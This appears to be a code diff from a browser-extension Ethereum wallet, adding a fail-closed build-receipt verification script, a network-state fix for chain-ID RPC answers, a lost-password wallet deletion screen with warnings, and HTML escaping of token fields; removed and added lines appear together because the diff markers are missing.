# containing src/shared/constants.js, and the Makefile creates that receipt
# path fresh per invocation, outside the repo, and deletes it afterwards.
#
# What that does and does not establish. It establishes that dist/ is byte for
# byte the output of the build.js run that just finished, with nothing added,
# nothing missing and nothing altered in between, and that the audited bundles
# in it compiled to the requested mode. It does NOT establish that the source
# tree or build.js were honest, and it says nothing at all to someone handed a
# dist/ from elsewhere: without the receipt from its own build they have no
# input to this check. That is signing, and it is not this control.
#
# It fails rather than passes whenever it cannot determine something. Minified
# output is not a stable contract, so "matched neither marker" is not evidence
# of anything and must never read as green; the same discipline applies to
# every read here, which is why a grep or a digest that could not be taken is
# a hard failure and not an absence of a problem.
set -eu
ROOT="$(cd "$(dirname "$0")/.." && pwd -P)"
# Absolute path to this script, resolved before anything cd's anywhere.
# check_unlisted_bundles re-invokes it through xargs, and $0 on its own may be
# check_dist_tree re-invokes it through xargs, and $0 on its own may be
# relative to a directory we are about to leave.
SELF="$(cd "$(dirname "$0")" && pwd -P)/$(basename "$0")"
# Internal re-entry flag; see scan_dist_paths.
SCAN_FLAG="--scan-dist-paths"
# A literal newline, for the is_listed guard.
# A literal newline and tab, for the receipt-shape guards.
NEWLINE='
'
TAB=' '
MANIFEST="dist/constants-bundles.txt"
MARKER_ON="autistmask-build-debug=on"
MARKER_OFF="autistmask-build-debug=off"
# Set by read_marker.
RECEIPT_HEADER="autistmask-build-receipt v1"
# Set by the arguments.
RECEIPT=""
EXPECT=""
# Set by read_marker, read_sha256 and parse_file_line respectively, plus the
# receipt line number the diagnostics quote.
MARKER=""
SHA=""
ENTRY_HASH=""
ENTRY_FLAG=""
ENTRY_PATH=""
LINENO_R=0
# The sha256 command, chosen by pick_sha256.
SHA256=""
# Totals: the shape pass counts what the receipt claims, the entries pass
# counts what was actually checked against dist/, and the summary reports the
# latter.
SHAPE_COUNT=0
SHAPE_AUDITED=0
COUNT=0
AUDITED=0
# Temporary file holding the NUL-delimited dist/ listing, removed by the EXIT
# trap because fail() exits from wherever it is called.
@@ -50,11 +96,17 @@ fail() {
exit 1
}
usage() {
echo "usage: verify-build --expect release|debug --receipt PATH" >&2
}
cleanup() {
[ -z "$LISTING" ] || rm -f "$LISTING"
}
trap cleanup EXIT
# --- reading files ----------------------------------------------------------
# Is the literal $1 present in the file $2? Match (grep exit 0) and no-match
# (exit 1) are answers about the emitted output. Anything else (exit 2: the
# file could not be read) is not an answer at all, and must not be reported as
@@ -74,34 +126,46 @@ has_marker() {
esac
}
# Does the manifest list the path $1, as a whole line? Same discipline as
# has_marker: exit 0 and 1 are answers about the manifest, exit 2 means the
# manifest could not be read and is not an answer at all. Without this, an
# unreadable manifest reads as "this file is not listed" and every emitted
# bundle gets reported as an unlisted one.
#
# A path containing a newline is answered without asking grep, because grep
# would read the pattern as two patterns and report a match on either. That is
# how such a path escaped this check even once the walk stopped splitting it:
# the half before the newline matched a listed line and the file was skipped.
# The manifest is line-delimited, so it cannot name such a path at all, and
# "not listed" is the only true answer.
is_listed() {
case "$1" in
*"$NEWLINE"*) return 1 ;;
esac
_il_status=0
grep -q -x -F -e "$1" -- "$MANIFEST" || _il_status=$?
case "$_il_status" in
0) return 0 ;;
1) return 1 ;;
*)
fail "grep exited $_il_status reading $MANIFEST, so it could not be
searched and nothing was established about which bundles it lists. That is
a permissions or I/O fault on the manifest, not a stale manifest. Refusing
to report success."
# Pick the sha256 command once. All three print the digest as the first
# whitespace-delimited field. If none is present the digests cannot be taken at
# all, and this script has nothing left to check with, so it fails rather than
# degrading to the marker grep it used to be.
pick_sha256() {
if command -v sha256sum >/dev/null 2>&1; then
SHA256="sha256sum"
elif command -v shasum >/dev/null 2>&1; then
SHA256="shasum -a 256"
elif command -v openssl >/dev/null 2>&1; then
SHA256="openssl dgst -sha256 -r"
else
fail "no sha256 command found (tried sha256sum, shasum, openssl), so
the emitted files cannot be checked against the build receipt at all.
Refusing to report success."
fi
}
# Digest of $1 into SHA. A digest that could not be taken is not a mismatch and
# not a pass: it means the artifact was never read.
read_sha256() {
_rs_status=0
# Word-split on purpose: SHA256 is a command with its arguments.
# shellcheck disable=SC2086
_rs_out="$($SHA256 "$1" 2>/dev/null)" || _rs_status=$?
[ "$_rs_status" -eq 0 ] ||
fail "$SHA256 exited $_rs_status on $1, so its bytes were never read
and nothing was established about them. That is a permissions or I/O fault
on the artifact, not a mismatch. Refusing to report success."
SHA="${_rs_out%% *}"
case "$SHA" in
"" | *[!0-9a-f]*)
fail "$SHA256 produced no usable digest for $1, so its bytes were never
checked. Refusing to report success."
;;
esac
[ "${#SHA}" -eq 64 ] ||
fail "$SHA256 produced a ${#SHA}-character digest for $1, which is not
a sha256. Refusing to report success."
}
# Read one bundle's DEBUG state into MARKER. Exactly one marker must be
@@ -140,40 +204,189 @@ read_marker() {
fi
}
# The manifest says which bundles must carry a marker. This says no other
# emitted file may carry one, which catches a manifest that has gone stale
# or short rather than trusting whatever it happens to list.
# --- the receipt ------------------------------------------------------------
# Split one "file <sha256> <A|P> <path>" line into ENTRY_HASH, ENTRY_FLAG and
# ENTRY_PATH, and require the shape rather than assuming it. The path is the
# remainder of the line, so a path carrying a space or a tab would be read back
# as something other than what was written; build.js refuses to emit such a
# name, and a receipt that contains one is malformed rather than describing a
# file. Every rejection here is a failure: a line that cannot be understood is
# a file that would otherwise go unchecked.
parse_file_line() {
case "$1" in
"file "*) ;;
*)
fail "$RECEIPT line $LINENO_R is not a file entry and this script does
not know what it means: ${1}. Refusing to report success."
;;
esac
_pl="${1#file }"
ENTRY_HASH="${_pl%% *}"
_pl="${_pl#* }"
ENTRY_FLAG="${_pl%% *}"
ENTRY_PATH="${_pl#* }"
case "$ENTRY_HASH" in
"" | *[!0-9a-f]*) fail "$RECEIPT line $LINENO_R has no sha256: $1" ;;
esac
[ "${#ENTRY_HASH}" -eq 64 ] ||
fail "$RECEIPT line $LINENO_R has a ${#ENTRY_HASH}-character digest,
which is not a sha256: $1"
case "$ENTRY_FLAG" in
A | P) ;;
*) fail "$RECEIPT line $LINENO_R has no A/P audit flag: $1" ;;
esac
case "$ENTRY_PATH" in
dist/*) ;;
*)
fail "$RECEIPT line $LINENO_R names a path that is not under dist/:
$ENTRY_PATH. The receipt describes the emitted tree and nothing else."
;;
esac
case "$ENTRY_PATH" in
*" "* | *"$TAB"* | *"$NEWLINE"*)
fail "$RECEIPT line $LINENO_R names a path containing whitespace, which
cannot be read back unambiguously from a line-oriented receipt: $1"
;;
esac
}
# Check one emitted file against its receipt entry: it must be a regular file
# with exactly the recorded bytes, and its debug marker must match what the
# caller said this build was.
check_entry() {
[ ! -h "$ENTRY_PATH" ] ||
fail "the receipt names $ENTRY_PATH but that path is a symlink. The
build emits regular files only, so this is not the file it wrote. Refusing
to report success."
[ -f "$ENTRY_PATH" ] ||
fail "the receipt names $ENTRY_PATH, which does not exist. dist/ does
not hold what the build emitted."
[ -s "$ENTRY_PATH" ] ||
fail "the receipt names $ENTRY_PATH, which is empty. An empty file
carries no marker and matches no digest, so this is a failure and not a
pass."
read_sha256 "$ENTRY_PATH"
[ "$SHA" = "$ENTRY_HASH" ] ||
fail "$ENTRY_PATH does not contain the bytes this build emitted: the
receipt records $ENTRY_HASH and the file on disk is $SHA. Something wrote
to dist/ after the build, so this artifact is not the one that was built."
if [ "$ENTRY_FLAG" = A ]; then
read_marker "$ENTRY_PATH"
[ "$MARKER" = "$EXPECT" ] ||
fail "$ENTRY_PATH is $MARKER but this build was told to expect
$EXPECT. If AUTISTMASK_DEBUG=1 is exported in the shell that ran make
build, that is why: the flag still reaches the compiler, and this is the
check that stops the debug artifact being taken for a release one."
echo " ok: $ENTRY_PATH ($MARKER)"
AUDITED=$((AUDITED + 1))
else
if has_marker "$MARKER_ON" "$ENTRY_PATH" ||
has_marker "$MARKER_OFF" "$ENTRY_PATH"; then
fail "$ENTRY_PATH carries a debug marker but the build did not
record it as containing src/shared/constants.js. build.js selects audited
bundles with an endsWith(\".js\") test; a marker-carrying file outside that
set means the test no longer describes what is emitted, and the DEBUG state
of this file was never asserted against anything."
fi
fi
COUNT=$((COUNT + 1))
}
# Walk the receipt line by line, applying $1 to each file entry. The header and
# the root line are checked on the way past; the root line is what stops a
# receipt written by a build of some other tree being pointed at this one.
walk_receipt() {
_wr_each="$1"
LINENO_R=0
_line=""
while IFS= read -r _line || [ -n "$_line" ]; do
LINENO_R=$((LINENO_R + 1))
if [ "$LINENO_R" -eq 1 ]; then
[ "$_line" = "$RECEIPT_HEADER" ] ||
fail "$RECEIPT does not start with \"$RECEIPT_HEADER\", so it
is not a build receipt this script understands. Refusing to report
success."
continue
fi
if [ "$LINENO_R" -eq 2 ]; then
[ "$_line" = "root $ROOT" ] ||
fail "$RECEIPT was written by a build of a different tree: it
says \"$_line\" and this is $ROOT. A receipt only describes the dist/ of
the tree it was built in."
continue
fi
parse_file_line "$_line"
"$_wr_each"
done <"$RECEIPT"
[ "$LINENO_R" -ge 2 ] ||
fail "$RECEIPT is truncated: it has no root line, so it is not a
receipt this script can check anything against."
}
# Pass one: the receipt has to be a receipt before anything is concluded from
# it. A line this script cannot read is a file that would go unchecked, and a
# receipt naming no audited bundle asserts no DEBUG state at all — both are
# failures, and both have to be established before the tree is walked against
# it, because a receipt entry that was misread would otherwise surface as a
# complaint about dist/.
count_entry() {
SHAPE_COUNT=$((SHAPE_COUNT + 1))
if [ "$ENTRY_FLAG" = A ]; then
SHAPE_AUDITED=$((SHAPE_AUDITED + 1))
fi
}
check_receipt_shape() {
SHAPE_COUNT=0
SHAPE_AUDITED=0
walk_receipt count_entry
[ "$SHAPE_COUNT" -gt 0 ] ||
fail "$RECEIPT names no emitted files, so nothing was inspected. A
build always emits some."
[ "$SHAPE_AUDITED" -gt 0 ] ||
fail "$RECEIPT names no bundle containing src/shared/constants.js, so
no DEBUG state would be asserted at all. That is never correct, so it is a
failure and not a pass."
}
# Pass three: every file the receipt names, checked against the bytes on disk.
check_receipt_entries() {
walk_receipt check_entry
}
# --- the emitted tree -------------------------------------------------------
# The receipt says which files the build emitted. This says dist/ contains no
# others: an artifact that was added after the build, or that a hand-written
# dist/ brought with it, is not something the build vouches for and is not
# something this check may pass over.
#
# Deliberately unfiltered by extension. build.js selects manifest entries with
# an endsWith(".js") test; repeating that literal here would mean a bundle
# emitted under some other extension escaped the manifest AND this check at
# once, which is the correlated blind spot the two-source design exists to
# avoid. Every regular file and every symlink under dist/ is searched — that
# is the whole of what a build emits — so build.js's filter is the only place
# the assumption lives and this check is what catches it being wrong.
#
# That claim only holds if the walk is exhaustive and every name survives it
# intact, so four things are enforced here rather than assumed:
# The walk has to be exhaustive and every name has to survive it intact, so
# four things are enforced rather than assumed:
#
# - the walk is NUL-delimited and the paths reach the check as arguments, so
# no name can be reshaped on the way in. Read line by line, a name with a
# trailing space lost it to read's field splitting and the remnant then
# matched a manifest line, and a name containing a newline arrived as a
# listed path plus an empty one. Both left a marker-carrying, unlisted file
# unchecked while the script still reported success. Delivering such a name
# intact is only half of it; is_listed also has to keep it out of grep's
# pattern, for the same reason.
# matched a listed path, and a name containing a newline arrived as a
# listed path plus an empty one. Both left an unchecked file in dist/ while
# the script still reported success.
# - find's exit status is checked. A subtree it cannot descend is reported on
# stderr and then simply missing from the listing, so an unchecked status
# turns "could not look" into "nothing was there" — the same conflation
# has_marker exists to prevent. The status cannot be read off a pipeline,
# so the listing lands in a file that xargs then reads back.
# - symlinks are walked too (-type l), not skipped. A marker-carrying bundle
# reachable under an unlisted path in dist/ is a stale manifest whether the
# path is a link or a file, and grep reads through the link. A link that
# cannot be read through — dangling, or pointing at a directory — fails
# hard via has_marker's exit-2 path, which is the fail-closed answer: the
# build emits neither, so their DEBUG state is unproven, not fine.
# - symlinks are walked too (-type l), not skipped. The build emits none, so
# a symlink under dist/ is a path the build did not produce, whatever it
# points at, and it fails as one instead of being read through.
# - dist/ itself must be a directory and not a symlink, which main asserts
# before anything reads through it. find does not follow a symlink named on
# its own command line, so a linked dist/ collapses this walk to one entry
@@ -181,7 +394,7 @@ read_marker() {
#
# Types other than regular files and symlinks are left out on purpose: a build
# emits none of them, and grep on a fifo would hang rather than fail.
check_unlisted_bundles() {
check_dist_tree() {
LISTING="$(mktemp "${TMPDIR:-/tmp}/verify-build-dist.XXXXXX")" ||
fail "could not create a temporary file for the dist/ listing, so the
tree was never walked. Refusing to report success."
@@ -191,105 +404,196 @@ check_unlisted_bundles() {
[ "$_find_status" -eq 0 ] ||
fail "find exited $_find_status enumerating dist/, so part of the tree
was never walked and nothing was established about the files in it. Any
unlisted bundle there went unchecked. That is a permissions or I/O fault on
the artifact, not a stale manifest. Refusing to report success."
file the build did not emit could be sitting there unchecked. That is a
permissions or I/O fault on the artifact. Refusing to report success."
_scan_status=0
xargs -0 "$SELF" "$SCAN_FLAG" <"$LISTING" || _scan_status=$?
xargs -0 "$SELF" "$SCAN_FLAG" "$RECEIPT" <"$LISTING" || _scan_status=$?
[ "$_scan_status" -eq 0 ] ||
fail "the unlisted-bundle scan exited $_scan_status: either a path
under dist/ failed the check reported above, or the scan could not be run
at all. Refusing to report success."
fail "the dist/ tree scan exited $_scan_status: either a path under
dist/ failed the check reported above, or the scan could not be run at all.
Refusing to report success."
}
# The per-path half of check_unlisted_bundles. It runs in a re-invocation of
# this script, so it uses the same is_listed and has_marker as the rest of the
# file rather than a second copy of them that could drift. Paths arrive as
# arguments and are never split, joined or trimmed.
# Does the receipt name the path $1? Compared as whole strings, never through
# grep: a path found under dist/ is attacker-shaped input, and a pattern is not
# the place to put one. The receipt's own paths are known to carry no
# whitespace by the time this runs — verify_receipt failed the run otherwise —
# so stripping the three leading fields recovers each one exactly.
receipt_names() {
_rn_want="$1"
_rn_line=""
while IFS= read -r _rn_line || [ -n "$_rn_line" ]; do
case "$_rn_line" in
"file "*) ;;
*) continue ;;
esac
[ "${_rn_line#file * * }" != "$_rn_want" ] || return 0
done <"$RECEIPT"
return 1
}
# The per-path half of check_dist_tree. It runs in a re-invocation of this
# script, so it uses the same helpers as the rest of the file rather than a
# second copy of them that could drift. Paths arrive as arguments and are never
# split, joined or trimmed.
scan_dist_paths() {
for _file in "$@"; do
if is_listed "$_file"; then
if [ -h "$_file" ]; then
fail "$_file is a symlink under dist/. The build emits regular
files only, so this path is not something it produced, and what it points
at is not what was verified. Refusing to report success."
fi
if receipt_names "$_file"; then
continue
fi
if has_marker "$MARKER_ON" "$_file" ||
has_marker "$MARKER_OFF" "$_file"; then
fail "$_file carries a debug marker but is absent from $MANIFEST,
so the manifest no longer describes the emitted bundles."
fi
fail "$_file is under dist/ but the build that just ran did not emit
it. dist/ must contain exactly what the build produced: an extra file there
is an artifact nothing vouches for, and shipping the directory ships it."
done
}
# The requested mode, read from our own environment using build.js's exact
# rule: only the literal 1 opts in. Deliberately not taken from anything
# build.js records about itself, so build.js cannot vouch for build.js.
expected_marker() {
if [ "${AUTISTMASK_DEBUG-}" = "1" ]; then
echo "$MARKER_ON"
else
echo "$MARKER_OFF"
fi
# --- arguments --------------------------------------------------------------
# The expected mode and the receipt are stated by the caller. Nothing is read
# from the environment, and there is no default for either.
parse_args() {
while [ "$#" -gt 0 ]; do
case "$1" in
--expect)
[ "$#" -ge 2 ] || fail "--expect needs an argument (release|debug)."
set_expect "$2"
shift 2
;;
--expect=*)
set_expect "${1#--expect=}"
shift
;;
--receipt)
[ "$#" -ge 2 ] || fail "--receipt needs a path."
set_receipt "$2"
shift 2
;;
--receipt=*)
set_receipt "${1#--receipt=}"
shift
;;
*)
usage
fail "unknown argument: $1"
;;
esac
done
}
main() {
cd "$ROOT"
set_expect() {
[ -z "$EXPECT" ] || fail "--expect given more than once."
case "$1" in
release) EXPECT="$MARKER_OFF" ;;
debug) EXPECT="$MARKER_ON" ;;
*) fail "--expect takes release or debug, not \"$1\"." ;;
esac
}
# Internal re-entry from check_unlisted_bundles' xargs. Not part of the
set_receipt() {
[ -z "$RECEIPT" ] || fail "--receipt given more than once."
[ -n "$1" ] || fail "--receipt was given an empty path."
# Resolved against the caller's directory, before main cd's to the repo
# root.
case "$1" in
/*) RECEIPT="$1" ;;
*) RECEIPT="$PWD/$1" ;;
esac
}
# --- main -------------------------------------------------------------------
main() {
# Internal re-entry from check_dist_tree's xargs. Not part of the
# command-line interface: nothing else invokes it, and it is a distinct
# entry point rather than a mode flag threaded through the checks below.
if [ "${1-}" = "$SCAN_FLAG" ]; then
shift
[ "$#" -ge 1 ] || fail "internal: $SCAN_FLAG needs the receipt path."
RECEIPT="$1"
shift
cd "$ROOT"
[ -r "$RECEIPT" ] ||
fail "$RECEIPT became unreadable during the run, so the dist/ tree
could not be checked against it. Refusing to report success."
scan_dist_paths "$@"
return 0
fi
expected="$(expected_marker)"
echo "Verifying emitted bundles (expecting $expected)..."
parse_args "$@"
[ -n "$EXPECT" ] || {
usage
fail "no --expect argument. The mode this build was supposed to produce
has to be stated by whoever ran the build; it is not a default and it is
not read from AUTISTMASK_DEBUG in this script's environment, because an
operator with that exported would then have their debug build verified as
the release one they asked for."
}
[ -n "$RECEIPT" ] || {
usage
fail "no --receipt argument. The list of files to check comes from the
build that just ran, not from dist/: without it, a hand-written dist/ would
be verifying itself. make build and make build-debug pass one."
}
pick_sha256
cd "$ROOT"
# Asserted here rather than left to grep. A symlinked dist/ used to fail
# only because GNU grep exits 2 on a directory, so check_unlisted_bundles'
# single entry hit has_marker's I/O path by luck; under a grep that exits 1
# instead, the whole cross-check would have collapsed into a pass.
# only because GNU grep exits 2 on a directory, so the tree walk hit
# has_marker's I/O path by luck; under a grep that exits 1 instead, the
# whole cross-check would have collapsed into a pass.
if [ -h dist ]; then
fail "dist is a symlink, not a directory. find does not follow a
symlink named on its own command line, so the unlisted-bundle cross-check
would see one entry instead of the emitted tree and establish nothing about
it. Refusing to report success."
symlink named on its own command line, so the tree walk would see one entry
instead of the emitted tree and establish nothing about it. Refusing to
report success."
fi
[ -d dist ] ||
fail "dist is not a directory, so there is no emitted tree to verify.
build.js writes it; run make build first."
[ -f "$MANIFEST" ] ||
fail "$MANIFEST is missing. build.js writes it at the end of a
successful build; run make build first."
[ -s "$MANIFEST" ] ||
fail "$MANIFEST is empty, so no emitted bundle was found to contain
src/shared/constants.js. That is never correct, so it is a failure and not
a pass."
[ -r "$MANIFEST" ] ||
fail "$MANIFEST is not readable, so nothing was inspected. That is a
case "$RECEIPT" in
"$ROOT/dist" | "$ROOT/dist/"*)
fail "the receipt is inside dist/ ($RECEIPT). A receipt that lives in
the tree it describes is rewritten by whoever rewrites the tree, and vouches
for nothing. make build keeps it outside the repo."
;;
esac
[ -e "$RECEIPT" ] ||
fail "$RECEIPT is missing. build.js writes it at the end of a
successful build; run make build rather than invoking this directly."
[ -f "$RECEIPT" ] ||
fail "$RECEIPT is not a regular file, so it is not a build receipt."
[ -s "$RECEIPT" ] ||
fail "$RECEIPT is empty, so the build wrote nothing to it and there is
no account of what it emitted. build.js writes the receipt last, so an
empty one means the build did not finish."
[ -r "$RECEIPT" ] ||
fail "$RECEIPT is not readable, so nothing was inspected. That is a
permissions or I/O fault, not a pass."
count=0
while read -r file; do
[ -n "$file" ] || continue
[ -f "$file" ] ||
fail "$MANIFEST lists $file, which does not exist."
[ -s "$file" ] ||
fail "$MANIFEST lists $file, which is empty. An empty bundle
carries no marker and proves nothing, so this is a failure and not a pass."
read_marker "$file"
[ "$MARKER" = "$expected" ] ||
fail "$file is $MARKER but this build expects $expected."
echo " ok: $file ($MARKER)"
count=$((count + 1))
done <"$MANIFEST"
echo "Verifying emitted files against the build receipt (expecting" \
"$EXPECT)..."
[ "$count" -gt 0 ] || fail "no bundles were inspected."
# Order matters. The receipt has to be well-formed before it is used as an
# expectation, and the tree has to be walkable in full before any single
# file in it is pronounced on: a subtree that cannot be descended makes
# every file under it look absent, and "could not look" must never be
# reported as "was not there".
check_receipt_shape
check_dist_tree
check_receipt_entries
check_unlisted_bundles
echo "verify-build: $count bundle(s) verified $expected"
echo "verify-build: $COUNT emitted file(s) verified against the receipt," \
"$AUDITED bundle(s) $EXPECT"
}
main "$@"

View File

@@ -3,7 +3,11 @@
// non-sensitive calls to the configured Ethereum JSON-RPC endpoint.
const { DEFAULT_RPC_URL } = require("../shared/constants");
const { SUPPORTED_CHAIN_IDS, networkByChainId } = require("../shared/networks");
const {
SUPPORTED_CHAIN_IDS,
networkById,
networkByChainId,
} = require("../shared/networks");
const { onChainSwitch } = require("../shared/chainSwitch");
const {
state,
@@ -663,12 +667,28 @@ async function handleRpc(method, params, origin) {
return { result: [] };
}
if (method === "eth_chainId") {
return { result: currentNetwork().chainId };
}
if (method === "net_version") {
return { result: currentNetwork().networkVersion };
// Both answered from currentNetwork(), which reads the module-level state
// singleton, and nothing populates that at module scope. A worker revived
// by the page's own message therefore held DEFAULT_STATE and told a page
// it was on mainnet while the user was on Sepolia
// (https://git.eeqj.de/sneak/AutistMask/issues/317).
//
// Answered from getState() rather than by loading the singleton. Any page
// reaches these two — neither is gated on a connection, and the injected
// provider sends eth_chainId on every page load — and loadState() replaces
// state.wallets wholesale, which would detach the address objects an
// in-flight backgroundRefresh() is mutating across its network round trip,
// so its saveState() would persist the pre-refresh balances while still
// stamping lastBalanceRefresh. getState() is the detached per-call storage
// read the other read handlers here already use.
// networkById(undefined) falls back to mainnet, matching the default for a
// profile with no stored networkId.
if (method === "eth_chainId" || method === "net_version") {
const s = await getState();
const net = networkById(s.networkId);
return {
result: method === "eth_chainId" ? net.chainId : net.networkVersion,
};
}
if (method === "wallet_switchEthereumChain") {

View File

@@ -153,12 +153,28 @@
<!-- Shared password fields -->
<div class="mb-2" id="add-wallet-password-section">
<label class="block mb-1">Choose a password</label>
<!-- The hint is swapped in place when the import tab
changes, and it sits directly above the password
fields, so a wording that wraps to a different
number of lines would move them under the pointer.
Two things stop that: the three wordings in
PASSWORD_HINTS are kept within a couple of
characters of each other in length, and this floor
matches what each of them needs. All three measure
48px -- 3 lines at the 16px line height, at the
368px width this box has in the 396px popup body.
Do not raise it: the reserve is unused height on
every tab, and at 6rem it pushed
#btn-add-wallet-confirm to bottom=628px in a 600px
viewport, below the fold. -->
<p
class="text-xs text-muted mb-1"
class="text-xs text-muted mb-1 min-h-[3rem]"
id="add-wallet-password-hint"
>
This password encrypts your recovery phrase on this
device. You will need it to send funds.
device. You will need it to send funds. It cannot be
recovered or reset, so keep your recovery phrase written
down: it is the only backup of this wallet.
</p>
<input
type="password"
@@ -1140,6 +1156,71 @@
>
Confirm Delete
</button>
<p class="text-xs mt-3">
<span
id="btn-delete-wallet-lost-password"
class="underline decoration-dashed cursor-pointer"
>I have lost my password</span
>
</p>
</div>
<!-- ============ DELETE WALLET WITHOUT THE PASSWORD ============ -->
<div id="view-delete-wallet-lost-password" class="view hidden">
<button
id="btn-delete-wallet-lost-back"
class="border border-border px-2 py-1 hover:bg-fg hover:text-bg cursor-pointer mb-2"
>
&lt; Back
</button>
<h2 class="font-bold mb-3">Delete Wallet Without a Password</h2>
<p class="text-xs mb-2">
Your password cannot be recovered or reset, so there is no
way to unlock
<strong id="delete-wallet-lost-name"></strong> again. You
can still delete it, and no password is needed to do that.
</p>
<p class="text-xs mb-2">
Deleting it erases the copy of its key that is stored on
this device. Nothing on the blockchain changes, and the
money at its addresses is not moved or destroyed.
</p>
<p class="text-xs mb-2">
If you have the recovery phrase for this wallet written
down, add the wallet again afterwards with a new password
and you will have it back.
<strong
>If you do not have it written down, deleting this
wallet means losing everything it holds,
forever.</strong
>
</p>
<p class="text-xs mb-3">Your other wallets are not touched.</p>
<p class="text-xs mb-1">
To confirm, type the name of the wallet (<strong
id="delete-wallet-lost-name-echo"
></strong
>) below.
</p>
<div class="mb-2">
<input
type="text"
id="delete-wallet-lost-name-input"
class="border border-border p-1 w-full font-mono text-sm bg-bg text-fg"
placeholder="Type the wallet name"
/>
</div>
<div
id="delete-wallet-lost-flash"
class="text-xs text-red-500 mb-2 min-h-[1.25rem]"
style="visibility: hidden"
></div>
<button
id="btn-delete-wallet-lost-confirm"
class="border border-border text-red-500 px-2 py-1 hover:bg-fg hover:text-bg cursor-pointer"
>
Delete This Wallet Forever
</button>
</div>
<!-- ============ DELETE ADDRESS CONFIRM ============ -->

View File

@@ -10,6 +10,11 @@
// prompt in front of it, on a popup the user may have reopened by accident.
// That is why "export-privkey" and "show-phrase" are absent.
//
// Nor may a view whose button destroys a wallet be listed, for the mirror
// reason: a popup reopened by accident must not land on the screen that
// erases key material. That is why "delete-wallet-confirm" and
// "delete-wallet-lost-password" are absent.
//
// Kept in its own module, with no dependencies, so tests can assert the
// exclusion directly rather than trusting a reading of the popup entry
// point, which cannot be required outside a browser.

View File

@@ -1,4 +1,4 @@
const { $, showView, showFlash, goBack } = require("./helpers");
const { $, showView, showFlash, escapeHtml, goBack } = require("./helpers");
const { getTopTokens } = require("../../shared/tokenList");
const { state, saveState } = require("../../shared/state");
const { lookupTokenInfo } = require("../../shared/balances");
@@ -13,7 +13,7 @@ function show() {
list.innerHTML = getTopTokens(25)
.map(
(t) =>
`<button class="common-token border border-border px-1 hover:bg-fg hover:text-bg cursor-pointer text-xs" data-address="${t.address}" data-symbol="${t.symbol}" data-decimals="${t.decimals}">${t.symbol}</button>`,
`<button class="common-token border border-border px-1 hover:bg-fg hover:text-bg cursor-pointer text-xs" data-address="${escapeHtml(t.address)}" data-symbol="${escapeHtml(t.symbol)}" data-decimals="${escapeHtml(t.decimals)}">${escapeHtml(t.symbol)}</button>`,
)
.join("");
list.querySelectorAll(".common-token").forEach((btn) => {

View File

@@ -42,12 +42,24 @@ let currentMode = "mnemonic";
const MODES = ["mnemonic", "privkey", "xprv"];
// Each hint names what this import mode's own backup is, because a key
// wallet and an xprv wallet have no recovery phrase to point the user at.
// All three say the same thing about the password: it is gone for good if
// it is forgotten. That sentence is the only warning the user gets before
// the wallet exists, and without it the lost-password route in
// views/deleteWallet.js is the first they hear of it.
//
// Keep the three within a couple of characters of each other in length.
// The hint sits directly above the password fields and the tabs swap it in
// place, so a wording that wraps to a different number of lines would move
// those fields under the pointer; the reserved height on
// #add-wallet-password-hint is the other half of that guarantee.
const PASSWORD_HINTS = {
mnemonic:
"This password encrypts your recovery phrase on this device. You will need it to send funds.",
"This password encrypts your recovery phrase on this device. You will need it to send funds. It cannot be recovered or reset, so keep your recovery phrase written down: it is the only backup of this wallet.",
privkey:
"This password encrypts your private key on this device. You will need it to send funds.",
xprv: "This password encrypts your key on this device. You will need it to send funds.",
"This password encrypts your private key on this device. You will need it to send funds. It cannot be recovered or reset, so keep your private key saved somewhere safe: it is the only backup of this wallet.",
xprv: "This password encrypts your key on this device. You will need it to send funds. It cannot be recovered or reset, so keep your extended private key saved somewhere safe: it is the only backup of this wallet.",
};
function switchMode(mode) {

View File

@@ -6,6 +6,7 @@ const {
addressDotHtml,
addressTitle,
escapeHtml,
displaySymbol,
truncateMiddle,
renderAddressHtml,
attachCopyHandlers,
@@ -221,10 +222,12 @@ function renderTransactions(txs) {
: tx.from;
const ensName = ensNameMap.get(counterparty) || null;
const title = addressTitle(counterparty, state.wallets);
const dirLabel = tx.directionLabel;
// The explorer's method name for a contract call, title-cased.
const dirLabel = escapeHtml(tx.directionLabel);
const sym = displaySymbol(tx.symbol);
const amountStr = tx.value
? escapeHtml(tx.value + " " + tx.symbol)
: escapeHtml(tx.symbol);
? escapeHtml(tx.value + " " + sym)
: escapeHtml(sym);
const maxAddr = Math.max(32, 36 - Math.max(0, amountStr.length - 10));
const displayAddr =
title || ensName || truncateMiddle(counterparty, maxAddr);

View File

@@ -9,6 +9,7 @@ const {
addressDotHtml,
addressTitle,
escapeHtml,
displaySymbol,
truncateMiddle,
balanceLine,
renderAddressHtml,
@@ -124,7 +125,11 @@ function show() {
currentSymbol = symbol;
$("address-token-title").textContent =
wallet.name + " \u2014 Address " + (ai + 1) + " \u2014 " + symbol;
wallet.name +
" \u2014 Address " +
(ai + 1) +
" \u2014 " +
displaySymbol(symbol);
// Blockie
const blockieEl = $("address-token-jazzicon");
@@ -174,7 +179,9 @@ function show() {
(knownToken && knownToken.symbol) ||
null;
const tokenName = rawName ? escapeHtml(rawName) : null;
const tokenSymbol = rawSymbol ? escapeHtml(rawSymbol) : null;
const tokenSymbol = rawSymbol
? escapeHtml(displaySymbol(rawSymbol))
: null;
const tokenDecimals =
tb && tb.decimals != null
? tb.decimals
@@ -288,10 +295,12 @@ function renderTransactions(txs) {
const counterparty = tx.direction === "sent" ? tx.to : tx.from;
const ensName = ensNameMap.get(counterparty) || null;
const title = addressTitle(counterparty, state.wallets);
const dirLabel = tx.directionLabel;
// The explorer's method name for a contract call, title-cased.
const dirLabel = escapeHtml(tx.directionLabel);
const sym = displaySymbol(tx.symbol);
const amountStr = tx.value
? escapeHtml(tx.value + " " + tx.symbol)
: escapeHtml(tx.symbol);
? escapeHtml(tx.value + " " + sym)
: escapeHtml(sym);
const maxAddr = Math.max(32, 36 - Math.max(0, amountStr.length - 10));
const displayAddr =
title || ensName || truncateMiddle(counterparty, maxAddr);
@@ -361,7 +370,7 @@ function init(_ctx) {
}
// Hide dropdown, show static token display
$("send-token").classList.add("hidden");
let staticHtml = `<div class="font-bold">${escapeHtml(currentSymbol)}</div>`;
let staticHtml = `<div class="font-bold">${escapeHtml(displaySymbol(currentSymbol))}</div>`;
if (tokenId !== "ETH") {
staticHtml += `<div class="text-xs">${renderAddressHtml(tokenId)}</div>`;
}

View File

@@ -21,6 +21,10 @@ const {
const { getPrice, formatUsd } = require("../../shared/prices");
const { ERC20_ABI } = require("../../shared/constants");
const { TOKEN_BY_ADDRESS } = require("../../shared/tokenList");
const {
resolveTokenDecimals,
unknownDecimalsAmount,
} = require("../../shared/approvalAmount");
